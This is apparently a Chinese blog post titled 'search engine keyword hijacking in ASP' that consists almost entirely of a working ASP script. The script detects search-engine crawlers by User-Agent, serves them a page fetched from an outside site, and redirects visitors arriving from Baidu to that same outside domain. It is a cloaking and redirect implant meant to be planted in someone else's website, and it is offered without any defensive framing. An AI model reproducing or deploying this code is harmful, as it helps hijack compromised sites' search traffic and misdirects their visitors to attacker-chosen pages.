搜索引擎关键词劫持之asp

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<%

function GetBot()

‘查询蜘蛛

dim s_agent

GetBot=””

s_agent=Request.ServerVariables(“HTTP_USER_AGENT”) ‘关键判断语句

if instr(1,s_agent,”googlebot”,1) >0 then

GetBot=”google”

end if

if instr(1,s_agent,”msnbot”,1) >0 then

GetBot=”MSN”

end if

if instr(1,s_agent,”slurp”,1) >0 then

GetBot=”Yahoo”

end if

if instr(1,s_agent,”baiduspider”,1) >0 then

GetBot=”baidu”

end if

if instr(1,s_agent,”sohu-search”,1) >0 then

GetBot=”Sohu”

end if

if instr(1,s_agent,”lycos”,1) >0 then

GetBot=”Lycos”

end if

if instr(1,s_agent,”robozilla”,1) >0 then

GetBot=”Robozilla”

end if

end function

Function getHTTPPage(Path)

t = GetBody(Path)

getHTTPPage=BytesToBstr(t,”GB2312″)’编码

End function

Function Newstring(wstr,strng)

Newstring=Instr(lcase(wstr),lcase(strng))

if Newstring<=0 then Newstring=Len(wstr)

End Function

Function GetBody(url)

on error resume next

Set Retrieval = CreateObject(“Microsoft.XMLHTTP”)

With Retrieval

.Open “Get”, url, False, “”, “”

.Send

GetBody = .ResponseBody

End With

Set Retrieval = Nothing

End Function

Function BytesToBstr(body,Cset)

dim objstream

set objstream = Server.CreateObject(“adodb.stream”)

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

Dim wstr,str,url,start,over,dtime

if GetBot=”baidu” then

‘给百度蜘蛛定制的内容

url=”https://www.0dayhack.com”

‘想要展示给蜘蛛的页面地址

wstr=getHTTPPage(url)

body=wstr

response.write “”&body&””

response.end

elseif GetBot=”google” then

‘给google 蜘蛛定制的内容

url=”https://www.0dayhack.com”

wstr=getHTTPPage(url)

body=wstr

response.write “”&body&””

response.end

end if

if instr(Request.ServerVariables(“http_referer”),”www.baidu.com”)>0 then

‘如果用户来自www.baidu.com

response.redirect(“https://www.0dayhack.com/”)

‘跳转指定地址

end if

%>

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